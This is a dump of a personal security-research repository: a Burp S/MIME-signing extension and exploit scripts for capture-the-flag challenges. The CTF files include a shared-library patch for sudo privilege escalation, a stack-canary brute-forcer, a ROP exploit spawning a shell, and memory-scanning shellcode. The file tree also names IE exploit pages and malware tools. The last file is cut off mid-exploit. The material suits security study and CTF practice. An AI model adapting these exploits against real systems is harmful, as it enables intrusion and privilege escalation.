├── .gitattributes ├── .gitignore ├── Burp └── smime_sign │ └── burp_smime_sign.rb ├── CTF ├── HTB │ └── rope │ │ └── rope │ │ ├── pwn1.py │ │ ├── pwn2.py │ │ ├── pwn3-brute.py │ │ ├── pwn3-pwn.py │ │ └── rope.txt └── pCTF2014 │ ├── ezhp │ ├── .gdbinit │ ├── checksec.sh │ ├── exp_ezhp.rb │ ├── ezhp │ ├── notes.txt │ └── server.c │ └── tenement │ ├── .gdbinit │ ├── config.json │ ├── exp-tenement.rb │ ├── notes.txt │ └── tenement ├── Malware ├── HiDump │ ├── HiDump.rb │ ├── README.md │ ├── bin │ │ ├── monitor.dll │ │ └── syelogd.exe │ └── src │ │ ├── HiDMonitor │ │ ├── HiDMonitor.sln │ │ └── HiDMonitor │ │ │ ├── Config.cpp │ │ │ ├── Config.h │ │ │ ├── DetourFunctions.h │ │ │ ├── Dumper.cpp │ │ │ ├── Dumper.h │ │ │ ├── HiDMonitor.vcproj │ │ │ ├── HookHandlers.cpp │ │ │ ├── HookHandlers.h │ │ │ ├── Main.cpp │ │ │ ├── Store.cpp │ │ │ └── Store.h │ │ ├── HiLoader │ │ ├── HiLoader.sln │ │ └── HiLoader │ │ │ ├── HiLoader.cpp │ │ │ └── HiLoader.vcproj │ │ └── Test │ │ ├── AsmCode.h │ │ ├── DllInject.cpp │ │ └── DllInject.exe └── Process │ ├── ProcScan.rb │ ├── README.md │ └── data │ └── dbghelp.dll ├── Misc ├── CryptUnprotect │ ├── Makefile │ └── unprotect.cpp ├── ie_memprotector_nullblr │ ├── cpp │ │ ├── Makefile │ │ ├── bug.cpp │ │ └── sample.cpp │ └── ie │ │ ├── ms13_080.html │ │ └── ms13_080_exp.html ├── libcrash │ ├── Makefile │ └── crash.c └── training │ ├── ms14_064 │ ├── download_exec.vbs │ ├── ms14_064_ole_code_execution_nopsh.html │ └── ms14_064_ole_code_execution_nopsh_calc.html │ └── sc_alpha │ ├── sc_server.c │ └── sc_test.c ├── PinTools └── ins_print │ ├── README.txt │ ├── ins_print.cpp │ ├── makefile │ └── makefile.rules ├── README.md ├── RbWinDBG ├── README.md ├── RbWinDBG.rb ├── TODO.txt ├── lib-ext │ └── metasm │ │ ├── BUGS │ │ ├── CREDITS │ │ ├── INSTALL │ │ ├── LICENCE │ │ ├── README │ │ ├── TODO │ │ ├── doc │ │ ├── code_organisation.txt │ │ ├── const_missing.txt │ │ ├── core │ │ │ ├── DynLdr.txt │ │ │ ├── ExeFormat.txt │ │ │ ├── Expression.txt │ │ │ ├── GNUExports.txt │ │ │ ├── Ia32.txt │ │ │ ├── SerialStruct.txt │ │ │ ├── VirtualString.txt │ │ │ ├── WindowsExports.txt │ │ │ └── index.txt │ │ ├── core_classes.txt │ │ ├── feature_list.txt │ │ ├── index.txt │ │ ├── install_notes.txt │ │ ├── style.css │ │ ├── usage │ │ │ ├── debugger.txt │ │ │ └── index.txt │ │ └── use_cases.txt │ │ ├── metasm.rb │ │ ├── metasm │ │ ├── compile_c.rb │ │ ├── cpu │ │ │ ├── arc.rb │ │ │ ├── arc │ │ │ │ ├── decode.rb │ │ │ │ ├── main.rb │ │ │ │ └── opcodes.rb │ │ │ ├── arm.rb │ │ │ ├── arm │ │ │ │ ├── debug.rb │ │ │ │ ├── decode.rb │ │ │ │ ├── encode.rb │ │ │ │ ├── main.rb │ │ │ │ ├── opcodes.rb │ │ │ │ ├── parse.rb │ │ │ │ └── render.rb │ │ │ ├── cy16.rb │ │ │ ├── cy16 │ │ │ │ ├── decode.rb │ │ │ │ ├── main.rb │ │ │ │ ├── opcodes.rb │ │ │ │ └── render.rb │ │ │ ├── dalvik.rb │ │ │ ├── dalvik │ │ │ │ ├── decode.rb │ │ │ │ ├── main.rb │ │ │ │ └── opcodes.rb │ │ │ ├── ia32.rb │ │ │ ├── ia32 │ │ │ │ ├── compile_c.rb │ │ │ │ ├── debug.rb │ │ │ │ ├── decode.rb │ │ │ │ ├── decompile.rb │ │ │ │ ├── encode.rb │ │ │ │ ├── main.rb │ │ │ │ ├── opcodes.rb │ │ │ │ ├── parse.rb │ │ │ │ └── render.rb │ │ │ ├── mips.rb │ │ │ ├── mips │ │ │ │ ├── compile_c.rb │ │ │ │ ├── debug.rb │ │ │ │ ├── decode.rb │ │ │ │ ├── encode.rb │ │ │ │ ├── main.rb │ │ │ │ ├── opcodes.rb │ │ │ │ ├── parse.rb │ │ │ │ └── render.rb │ │ │ ├── pic16c │ │ │ │ ├── decode.rb │ │ │ │ ├── main.rb │ │ │ │ └── opcodes.rb │ │ │ ├── ppc.rb │ │ │ ├── ppc │ │ │ │ ├── decode.rb │ │ │ │ ├── decompile.rb │ │ │ │ ├── encode.rb │ │ │ │ ├── main.rb │ │ │ │ ├── opcodes.rb │ │ │ │ └── parse.rb │ │ │ ├── python.rb │ │ │ ├── python │ │ │ │ ├── decode.rb │ │ │ │ ├── main.rb │ │ │ │ └── opcodes.rb │ │ │ ├── sh4.rb │ │ │ ├── sh4 │ │ │ │ ├── decode.rb │ │ │ │ ├── main.rb │ │ │ │ └── opcodes.rb │ │ │ ├── x86_64.rb │ │ │ ├── x86_64 │ │ │ │ ├── compile_c.rb │ │ │ │ ├── debug.rb │ │ │ │ ├── decode.rb │ │ │ │ ├── encode.rb │ │ │ │ ├── main.rb │ │ │ │ ├── opcodes.rb │ │ │ │ ├── parse.rb │ │ │ │ └── render.rb │ │ │ ├── z80.rb │ │ │ └── z80 │ │ │ │ ├── decode.rb │ │ │ │ ├── main.rb │ │ │ │ ├── opcodes.rb │ │ │ │ └── render.rb │ │ ├── debug.rb │ │ ├── decode.rb │ │ ├── decompile.rb │ │ ├── disassemble.rb │ │ ├── disassemble_api.rb │ │ ├── dynldr-windows-ia32-19.so │ │ ├── dynldr.rb │ │ ├── encode.rb │ │ ├── exe_format │ │ │ ├── a_out.rb │ │ │ ├── autoexe.rb │ │ │ ├── bflt.rb │ │ │ ├── coff.rb │ │ │ ├── coff_decode.rb │ │ │ ├── coff_encode.rb │ │ │ ├── dex.rb │ │ │ ├── dol.rb │ │ │ ├── elf.rb │ │ │ ├── elf_decode.rb │ │ │ ├── elf_encode.rb │ │ │ ├── gb.rb │ │ │ ├── javaclass.rb │ │ │ ├── macho.rb │ │ │ ├── main.rb │ │ │ ├── mz.rb │ │ │ ├── nds.rb │ │ │ ├── pe.rb │ │ │ ├── pyc.rb │ │ │ ├── serialstruct.rb │ │ │ ├── shellcode.rb │ │ │ ├── shellcode_rwx.rb │ │ │ ├── swf.rb │ │ │ ├── xcoff.rb │ │ │ └── zip.rb │ │ ├── gui.rb │ │ ├── gui │ │ │ ├── cstruct.rb │ │ │ ├── dasm_coverage.rb │ │ │ ├── dasm_decomp.rb │ │ │ ├── dasm_funcgraph.rb │ │ │ ├── dasm_graph.rb │ │ │ ├── dasm_hex.rb │ │ │ ├── dasm_listing.rb │ │ │ ├── dasm_main.rb │ │ │ ├── dasm_opcodes.rb │ │ │ ├── debug.rb │ │ │ ├── gtk.rb │ │ │ ├── qt.rb │ │ │ ├── win32.rb │ │ │ └── x11.rb │ │ ├── main.rb │ │ ├── os │ │ │ ├── gnu_exports.rb │ │ │ ├── linux.rb │ │ │ ├── main.rb │ │ │ ├── remote.rb │ │ │ ├── windows.rb │ │ │ └── windows_exports.rb │ │ ├── parse.rb │ │ ├── parse_c.rb │ │ ├── preprocessor.rb │ │ └── render.rb │ │ ├── misc │ │ ├── bottleneck.rb │ │ ├── cheader-findpppath.rb │ │ ├── hexdiff.rb │ │ ├── hexdump.rb │ │ ├── lint.rb │ │ ├── metasm-all.rb │ │ ├── objdiff.rb │ │ ├── objscan.rb │ │ ├── pdfparse.rb │ │ ├── ppc_pdf2oplist.rb │ │ ├── tcp_proxy_hex.rb │ │ └── txt2html.rb │ │ ├── samples │ │ ├── a.out.rb │ │ ├── asmsyntax.rb │ │ ├── bindiff.rb │ │ ├── compilation-steps.rb │ │ ├── cparser_makestackoffset.rb │ │ ├── dasm-backtrack.rb │ │ ├── dasm-plugins │ │ │ ├── bindiff.rb │ │ │ ├── bookmark.rb │ │ │ ├── c_constants.rb │ │ │ ├── cppobj_funcall.rb │ │ │ ├── dasm_all.rb │ │ │ ├── demangle_cpp.rb │ │ │ ├── deobfuscate.rb │ │ │ ├── dump_text.rb │ │ │ ├── export_graph_svg.rb │ │ │ ├── findgadget.rb │ │ │ ├── hl_opcode.rb │ │ │ ├── hotfix_gtk_dbg.rb │ │ │ ├── match_libsigs.rb │ │ │ ├── namelocalvars.rb │ │ │ ├── patch_file.rb │ │ │ ├── scanfuncstart.rb │ │ │ ├── scanxrefs.rb │ │ │ ├── selfmodify.rb │ │ │ └── stringsxrefs.rb │ │ ├── dasmnavig.rb │ │ ├── dbg-apihook.rb │ │ ├── dbg-plugins │ │ │ ├── heapscan.rb │ │ │ ├── heapscan │ │ │ │ ├── compiled_heapscan_lin.c │ │ │ │ ├── compiled_heapscan_win.c │ │ │ │ ├── graphheap.rb │ │ │ │ ├── heapscan.rb │ │ │ │ ├── winheap.h │ │ │ │ └── winheap7.h │ │ │ └── trace_func.rb │ │ ├── dbghelp.rb │ │ ├── disassemble-gui.rb │ │ ├── disassemble.rb │ │ ├── dump_upx.rb │ │ ├── dynamic_ruby.rb │ │ ├── elf_list_needed.rb │ │ ├── elf_listexports.rb │ │ ├── elfencode.rb │ │ ├── exeencode.rb │ │ ├── factorize-headers-elfimports.rb │ │ ├── factorize-headers-peimports.rb │ │ ├── factorize-headers.rb │ │ ├── gdbclient.rb │ │ ├── generate_libsigs.rb │ │ ├── hotfix_gtk_dbg.rb │ │ ├── install_win_env.rb │ │ ├── lindebug.rb │ │ ├── linux_injectsyscall.rb │ │ ├── machoencode.rb │ │ ├── metasm-shell.rb │ │ ├── pe-hook.rb │ │ ├── pe-ia32-cpuid.rb │ │ ├── pe-mips.rb │ │ ├── pe-shutdown.rb │ │ ├── pe-testrelocs.rb │ │ ├── pe-testrsrc.rb │ │ ├── pe_listexports.rb │ │ ├── peencode.rb │ │ ├── peldr.rb │ │ ├── preprocess-flatten.rb │ │ ├── r0trace.rb │ │ ├── scan_pt_gnu_stack.rb │ │ ├── scanpeexports.rb │ │ ├── shellcode-c.rb │ │ ├── shellcode-dynlink.rb │ │ ├── source.asm │ │ ├── struct_offset.rb │ │ ├── testpe.rb │ │ ├── testraw.rb │ │ ├── win32genloader.rb │ │ ├── win32hooker-advanced.rb │ │ ├── win32hooker.rb │ │ ├── win32livedasm.rb │ │ ├── win32remotescan.rb │ │ └── wintrace.rb │ │ └── tests │ │ ├── all.rb │ │ ├── arc.rb │ │ ├── dasm.rb │ │ ├── dynldr.rb │ │ ├── encodeddata.rb │ │ ├── graph_layout.rb │ │ ├── ia32.rb │ │ ├── mips.rb │ │ ├── parse_c.rb │ │ ├── preprocessor.rb │ │ └── x86_64.rb ├── lib │ ├── ntstatus.rb │ ├── rbDbg.rb │ ├── rbDbgSnapshot.rb │ ├── rbDbgUtils.rb │ └── rbMiniDump.rb └── samples │ ├── BasicTest.rb │ ├── CrashDump.rb │ ├── InjDump.rb │ ├── MalwareTrace.rb │ ├── SnapshotTest.rb │ ├── StackTraceTest.rb │ └── TestConsole.rb └── Web └── JsObFoo ├── Gemfile ├── Gemfile.lock ├── README.md ├── jsobfoo.rb ├── lib ├── jsobfoo.rb └── jsobfoo │ ├── config.rb │ ├── jsfuck.js │ ├── jsfuck.rb │ ├── logger.rb │ ├── module_manager.rb │ ├── modules │ ├── string_obfuscator.rb │ └── variable_obfuscator.rb │ ├── quirks.rb │ ├── runner.rb │ └── utils.rb └── test └── samples └── simple.js /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | [Dd]ebug/ 46 | [Rr]elease/ 47 | *_i.c 48 | *_p.c 49 | *.ilk 50 | *.meta 51 | *.obj 52 | *.pch 53 | *.pdb 54 | *.pgc 55 | *.pgd 56 | *.rsp 57 | *.sbr 58 | *.tlb 59 | *.tli 60 | *.tlh 61 | *.tmp 62 | *.vspscc 63 | .builds 64 | *.dotCover 65 | 66 | ## TODO: If you have NuGet Package Restore enabled, uncomment this 67 | #packages/ 68 | 69 | # Visual C++ cache files 70 | ipch/ 71 | *.aps 72 | *.ncb 73 | *.opensdf 74 | *.sdf 75 | 76 | # Visual Studio profiler 77 | *.psess 78 | *.vsp 79 | 80 | # ReSharper is a .NET coding add-in 81 | _ReSharper* 82 | 83 | # Installshield output folder 84 | [Ee]xpress 85 | 86 | # DocProject is a documentation generator add-in 87 | DocProject/buildhelp/ 88 | DocProject/Help/*.HxT 89 | DocProject/Help/*.HxC 90 | DocProject/Help/*.hhc 91 | DocProject/Help/*.hhk 92 | DocProject/Help/*.hhp 93 | DocProject/Help/Html2 94 | DocProject/Help/html 95 | 96 | # Click-Once directory 97 | publish 98 | 99 | # Others 100 | [Bb]in 101 | [Oo]bj 102 | sql 103 | TestResults 104 | *.Cache 105 | ClientBin 106 | stylecop.* 107 | ~$* 108 | *.dbmdl 109 | Generated_Code #added for RIA/Silverlight projects 110 | 111 | # Backup & report files from converting an old project file to a newer 112 | # Visual Studio version. Backup files are not needed, because we have git ;-) 113 | _UpgradeReport_Files/ 114 | Backup*/ 115 | UpgradeLog*.XML 116 | 117 | 118 | 119 | ############ 120 | ## Windows 121 | ############ 122 | 123 | # Windows image file caches 124 | Thumbs.db 125 | 126 | # Folder config file 127 | Desktop.ini 128 | 129 | 130 | ############# 131 | ## Python 132 | ############# 133 | 134 | *.py[co] 135 | 136 | # Packages 137 | *.egg 138 | *.egg-info 139 | dist 140 | build 141 | eggs 142 | parts 143 | bin 144 | var 145 | sdist 146 | develop-eggs 147 | .installed.cfg 148 | 149 | # Installer logs 150 | pip-log.txt 151 | 152 | # Unit test / coverage reports 153 | .coverage 154 | .tox 155 | 156 | #Translations 157 | *.mo 158 | 159 | #Mr Developer 160 | .mr.developer.cfg 161 | 162 | # Mac crap 163 | .DS_Store 164 | -------------------------------------------------------------------------------- /Burp/smime_sign/burp_smime_sign.rb: -------------------------------------------------------------------------------- 1 | require 'java' 2 | java_import 'burp.IBurpExtender' 3 | java_import 'burp.IHttpListener' 4 | java_import 'burp.IProxyListener' 5 | java_import 'burp.IScannerListener' 6 | java_import 'burp.IExtensionStateListener' 7 | 8 | class BurpExtender 9 | include IBurpExtender, IHttpListener, IProxyListener, IScannerListener, IExtensionStateListener 10 | 11 | CERT = "/Users/abhisek/Codes/Misc/IBB/IBM/Tivoli_EM/data/keys/__ClientCertificate.crt" 12 | KEY = "/Users/abhisek/Codes/Misc/IBB/IBM/Tivoli_EM/data/keys/__ClientPrivateKey.pem" 13 | 14 | def registerExtenderCallbacks(callbacks) 15 | @callbacks = callbacks 16 | @stdout = java.io.PrintWriter.new(callbacks.getStdout(), true) 17 | callbacks.setExtensionName("SMIME Signer") 18 | callbacks.registerHttpListener(self) 19 | callbacks.registerExtensionStateListener(self) 20 | 21 | @stdout.println("Extension is loaded") 22 | @stdout.println("CERT: #{CERT}") 23 | @stdout.println("KEY: #{KEY}") 24 | end 25 | 26 | def processHttpMessage(toolFlag, messageIsRequest, messageInfo) 27 | if (@callbacks.getToolName(toolFlag).to_s =~ /(intruder|repeater)/i) and messageIsRequest 28 | http_request = messageInfo.getRequest().to_s() 29 | if (http_request =~ /^POST/) and (http_request.index("This is an S/MIME signed message")) 30 | if http_request =~ /boundary="([^"]+)"/ 31 | boundary = $1.to_s 32 | parts = http_request.split("--#{boundary}") 33 | http_body = parts[1].to_s.strip() 34 | http_headers = http_request.split("\r\n\r\n")[0].to_s.strip() 35 | modified_request = http_headers + "\r\n\r\n" + sign_request(http_body) 36 | #puts "=====" 37 | #puts modified_request 38 | #puts "=====" 39 | messageInfo.setRequest(modified_request.to_java_bytes()) 40 | puts("[#{@callbacks.getToolName(toolFlag)}] Signed request size: #{modified_request.size}") 41 | end 42 | end 43 | end 44 | end 45 | 46 | def extensionUnloaded() 47 | @stdout.println("Extension was unloaded") 48 | end 49 | 50 | private 51 | 52 | def puts(s) 53 | @stdout.println(s) 54 | end 55 | 56 | def sign_request(data) 57 | res = '' 58 | IO.popen("openssl smime -sign -signer #{CERT} -inkey #{KEY}", "r+") do |pipe| 59 | pipe.write(data) 60 | pipe.close_write() 61 | until ((t = pipe.gets()).nil?); res << t; end 62 | end 63 | res 64 | end 65 | 66 | end 67 | 68 | 69 | -------------------------------------------------------------------------------- /CTF/HTB/rope/rope/pwn2.py: -------------------------------------------------------------------------------- 1 | # Leaked from /tmp thx! to whoever wrote this :) 2 | 3 | import os 4 | signature = b'/usr/bin/tail -n10 /var/log/auth.log' 5 | fd = open('/lib/x86_64-linux-gnu/liblog.so', 'r+b') 6 | content = fd.read() 7 | idx = content.find(signature) 8 | fd.seek(idx) 9 | fd.write(b'/tmp/...;') 10 | fd.close() 11 | os.system('sudo -u r4j /usr/bin/readlogs') 12 | fd = open('/lib/x86_64-linux-gnu/liblog.so', 'r+b') 13 | fd.seek(idx) 14 | fd.write(signature) 15 | fd.close() 16 | print('Done') 17 | quit() 18 | 19 | -------------------------------------------------------------------------------- /CTF/HTB/rope/rope/pwn3-brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import struct 5 | 6 | TARGET_HOST = "127.0.0.1" 7 | TARGET_PORT = 1337 8 | 9 | BUF_SPACE = 56 10 | CANARY_SIZE = 8 11 | 12 | def p8(x): 13 | return struct.pack('B', x) 14 | 15 | def test_payload(buf): 16 | r = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | r.connect((TARGET_HOST, TARGET_PORT)) 18 | 19 | try: 20 | r.recv(1000) 21 | r.send(buf) 22 | d = r.recv(1000) 23 | r.close() 24 | return False if (d.find(b'Done') == -1) else True 25 | except EOFError: 26 | r.close() 27 | return False 28 | 29 | def brute_canary(): 30 | canary = 0 31 | buf = b'A' * BUF_SPACE 32 | 33 | for x in range(0, CANARY_SIZE): 34 | for y in range(0, 0xff+1): 35 | print("Pos:%d Byte:%s Canary:%s Bufsize:%d" % (x, hex(y), hex(canary), len(buf))) 36 | if test_payload(buf + p8(y)): 37 | canary = canary | (y << (x*8)) 38 | buf = buf + p8(y) 39 | break 40 | 41 | print("Canary: " + hex(canary)) 42 | return canary 43 | 44 | brute_canary() 45 | -------------------------------------------------------------------------------- /CTF/HTB/rope/rope/pwn3-pwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | # Remote exploit over SSH port-forward 6 | TARGET_HOST = "127.0.0.1" 7 | TARGET_PORT = 1337 8 | 9 | LIBC_BINARY = "x64_libc.so.6" # Remote 10 | #LIBC_BINARY = "/usr/lib/x86_64-linux-gnu/libc-2.29.so" # Local 11 | 12 | BINARY_PATH = "./contact" 13 | 14 | # From dmesg on segfault - To get this, we first have to bruteforce canary 15 | # Then segfault the process - Process won't segfault with bad canary 16 | # Once we get he correct base from dmesg, we can just place it here to run 17 | # the exploit for shell 18 | BINARY_BASE = 0x0000555555554000 19 | 20 | # [ 590.668295] contact[3588]: segfault at 55555555564b ip 000055555555564b 21 | # sp 00007ffddbe3d760 error 14 in contact[55c1a556f000+1000] 22 | BINARY_BASE = 0x55c1a556f000 23 | 24 | # Bruteforce - Use the script pwn3-brute.py 25 | STACK_CANARY = 0x1bb2fca37b0c6c00 26 | 27 | CLIENT_FD = 4 28 | BUF_SPACE = 56 29 | 30 | def exploit(): 31 | context(arch = 'amd64', os = 'linux') 32 | 33 | binary = ELF(BINARY_PATH) 34 | binary.address = BINARY_BASE 35 | 36 | libc = ELF(LIBC_BINARY) 37 | 38 | # Leaker ROP 39 | rop = ROP(binary) 40 | rop.write(CLIENT_FD, binary.got["printf"], 8) 41 | 42 | print(rop.dump()) 43 | 44 | # Leaking printf GOT address to compute LIBC_BASE 45 | payload = b'A' * BUF_SPACE 46 | payload += p64(STACK_CANARY) 47 | payload += p64(0x4142434441424344) # RBP 48 | #payload += p64(0x4142434441424344) # RIP 49 | payload += rop.chain() 50 | payload += p64(0x4142434441424344) 51 | 52 | r = remote(TARGET_HOST, TARGET_PORT) 53 | r.recv(1000) 54 | r.send(payload) 55 | res = r.recv(100) 56 | r.close() 57 | 58 | libc_addr = u64(res) 59 | libc_addr = libc_addr - libc.symbols["printf"] 60 | 61 | print("Leaked LIBC_BASE: ", hex(libc_addr)) 62 | 63 | libc.address = libc_addr 64 | 65 | # ROP for shell 66 | rop = ROP(libc) 67 | rop.dup2(CLIENT_FD, 0) 68 | rop.dup2(CLIENT_FD, 1) 69 | rop.dup2(CLIENT_FD, 2) 70 | rop.system(next(libc.search(b"/bin/sh\x00"))) 71 | rop.exit(0) 72 | 73 | print(rop.dump()) 74 | 75 | payload = b'A' * BUF_SPACE 76 | payload += p64(STACK_CANARY) 77 | payload += p64(0x4142434441424344) # RBP 78 | #payload += p64(0x4142434441424344) # RIP 79 | payload += rop.chain() 80 | payload += p64(0x4142434441424344) 81 | 82 | r = remote(TARGET_HOST, TARGET_PORT) 83 | r.recv(1000) 84 | r.send(payload) 85 | r.interactive() 86 | 87 | exploit() 88 | -------------------------------------------------------------------------------- /CTF/pCTF2014/ezhp/.gdbinit: -------------------------------------------------------------------------------- 1 | set follow-fork-mode child 2 | set disassembly-flavor intel 3 | 4 | 5 | -------------------------------------------------------------------------------- /CTF/pCTF2014/ezhp/ezhp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/RandomCode/785c37751e2506b034472ac6affe2fdaf533dcca/CTF/pCTF2014/ezhp/ezhp -------------------------------------------------------------------------------- /CTF/pCTF2014/ezhp/notes.txt: -------------------------------------------------------------------------------- 1 | addr of g_note_count var = 0x0804A04C 2 | addr of g_notes_buf = 0x0804A060 3 | 4 | add_note: 0x08048794 5 | change_note: 0x08048893 6 | remove_note: 0x0804881A 7 | 8 | break *0x08048794 9 | commands 10 | printf "chunk_alloc\n" 11 | cont 12 | end 13 | 14 | break *0x08048893 15 | commands 16 | printf "chunk_write\n" 17 | cont 18 | end 19 | 20 | break *0x0804881A 21 | commands 22 | printf "chunk_free\n" 23 | cont 24 | end 25 | 26 | 27 | g_notes_buf = [ptr1][ptr2][...][ptrN] 28 | ptrN = memory written using change_note, data fully controlled 29 | 30 | 31 | custom heap like data structure implementation: 32 | 33 | * g_notes_buf points to bucket of memory pointers 34 | * each mem_ptr consists of 12 bytes meta-info prepended: 35 | [size][ptr1][ptr2][ data ] 36 | 37 | 38 | 39 | 40 | 1. add_note -> allocate memory 41 | 2. change_note -> write memory allocated at (1) (with overflow) 42 | 3. print_note -> display data written at (2) 43 | 44 | 45 | Exploit: 46 | 47 | * Alloc chunk1 48 | * Alloc chunk2 49 | * Overflow chunk1 50 | * Free chunk2 (get aa4bmo here) 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /CTF/pCTF2014/ezhp/server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define SRV_ADDR "0.0.0.0" 13 | #define SRV_PORT 8976 14 | 15 | void handle_client(int sock) 16 | { 17 | char *args[] = { "ezhp", NULL }; 18 | 19 | dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); 20 | //close(0); close(1); close(2); 21 | 22 | execv(args[0], args); 23 | perror("execv"); 24 | } 25 | 26 | void child_handler(int signo) 27 | { 28 | printf("Child exit (%d)\n", signo); 29 | } 30 | 31 | void segv_handler(int signo) 32 | { 33 | printf("SIGSEGV (%d)\n", signo); 34 | exit(EXIT_FAILURE); 35 | } 36 | 37 | void abrt_handler(int signo) 38 | { 39 | printf("SIGABRT (%d)\n", signo); 40 | exit(EXIT_FAILURE); 41 | } 42 | 43 | int srv_run() 44 | { 45 | struct sockaddr_in sin; 46 | struct sockaddr_in cin; 47 | int srv_fd, cln_fd; 48 | int tmp; 49 | int sop; 50 | 51 | srv_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 52 | assert(srv_fd > 0); 53 | 54 | sop = 1; 55 | setsockopt(srv_fd, SOL_SOCKET, SO_REUSEADDR, (void*) &sop, sizeof(sop)); 56 | 57 | sin.sin_addr.s_addr = inet_addr(SRV_ADDR); 58 | sin.sin_port = htons(SRV_PORT); 59 | sin.sin_family = AF_INET; 60 | 61 | assert(!bind(srv_fd, (struct sockaddr*) &sin, sizeof(sin))); 62 | listen(srv_fd, 100); 63 | 64 | //signal(SIGCHLD, child_handler); 65 | signal(SIGCHLD, SIG_IGN); 66 | 67 | while(1) { 68 | tmp = sizeof(cin); 69 | cln_fd = accept(srv_fd, (struct sockaddr*) &cin, &tmp); 70 | if(cln_fd < 0) 71 | continue; 72 | 73 | printf("Received connection from %s:%d\n", (char*) inet_ntoa(cin.sin_addr), ntohs(cin.sin_port)); 74 | if(!fork()) { 75 | printf("Processing client: pid: %d socket: %d\n", getpid(), cln_fd); 76 | 77 | //signal(SIGSEGV, segv_handler); 78 | //signal(SIGABRT, abrt_handler); 79 | 80 | close(srv_fd); 81 | handle_client(cln_fd); 82 | 83 | shutdown(cln_fd, SHUT_RDWR); 84 | close(cln_fd); 85 | 86 | exit(0); 87 | } 88 | 89 | close(cln_fd); 90 | } 91 | } 92 | 93 | int main(int argc, char **argv) 94 | { 95 | return srv_run(); 96 | } 97 | -------------------------------------------------------------------------------- /CTF/pCTF2014/tenement/.gdbinit: -------------------------------------------------------------------------------- 1 | set follow-fork-mode child 2 | set disassembly-flavor intel 3 | set args ./config.json 4 | break *0x08048B7C 5 | commands 6 | printf "break: call _json_load_file\n" 7 | end 8 | 9 | break *0x08048CD8 10 | commands 11 | printf "break: call _mmap\n" 12 | end 13 | 14 | break *0x08048DFC 15 | commands 16 | printf "break: call edi\n" 17 | end 18 | 19 | define nix 20 | ni 21 | x/i $eip 22 | end 23 | -------------------------------------------------------------------------------- /CTF/pCTF2014/tenement/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "key": "AAAAAAAAAAAAAAAAAAAA", 3 | "addrs": [2415919104, 2684354560, 2952790016] 4 | } 5 | -------------------------------------------------------------------------------- /CTF/pCTF2014/tenement/exp-tenement.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | The challenge binary does the following: 4 | 5 | * Read key from json 6 | * Read array of "addrs" from json 7 | * Attempt mmap'ing memory at addr (randomly chosen) from array till success 8 | * Copy "pppp: key" to mmap'd memory 9 | * init seccomp sandbox 10 | * read exec shellcode 11 | 12 | seccomp sandbox allowed sys calls: 13 | 14 | sys_read 15 | sys_write 16 | sys_close 17 | sys_access 18 | sys_dup3 19 | sys_fstat 20 | sys_exit_group 21 | 22 | We tried: 23 | 24 | * Leaking mutiple pages from stack identified by esp 25 | * Looking for mmap signatures to leak map addr 26 | * Using malloc to identify heap addr and leak data 27 | * Looking for json object signatures 28 | 29 | * Gave up and brute forced address space with sys_write based test for read 30 | 31 | =end 32 | 33 | 34 | $:.unshift("~/Tools/metasm") 35 | require 'metasm' 36 | require 'hexdump' 37 | require 'socket' 38 | 39 | def get_search_code() 40 | %Q{ 41 | nop 42 | 43 | #define SYS_write 4 44 | #define STDOUT 1 45 | #define STDERR 2 46 | #define START_ADDR 0 47 | #define END_ADDR 0xb0000000 48 | #define PAGE_SIZE 0x1000 49 | 50 | mov eax, START_ADDR 51 | mov ebx, END_ADDR 52 | 53 | _writeSock: 54 | push ebx ; save 55 | push eax ; save 56 | 57 | ; Test readability of page 58 | mov edx, 0x10 59 | mov ecx, eax 60 | mov ebx, STDERR 61 | mov eax, SYS_write 62 | int 0x80 63 | 64 | cmp eax, 0 65 | jle _doCont 66 | 67 | ; Leak some data from the page 68 | mov edx, PAGE_SIZE 69 | mov ecx, dword ptr [esp] ; saved eax on stack 70 | mov ebx, STDOUT 71 | mov eax, SYS_write 72 | int 0x80 73 | 74 | _doCont: 75 | pop eax ; restore 76 | pop ebx ; restore 77 | add eax, PAGE_SIZE 78 | cmp eax, ebx 79 | jb _writeSock ; unsigned comparison 80 | 81 | nop 82 | int 3 83 | } 84 | end 85 | 86 | def tickle_server(scode) 87 | host = ARGV[0] || '127.0.0.1' 88 | port = (ARGV[1] || 8976).to_i 89 | 90 | raise "Shellcode too big" if scode.size > 0x80 91 | 92 | sock = 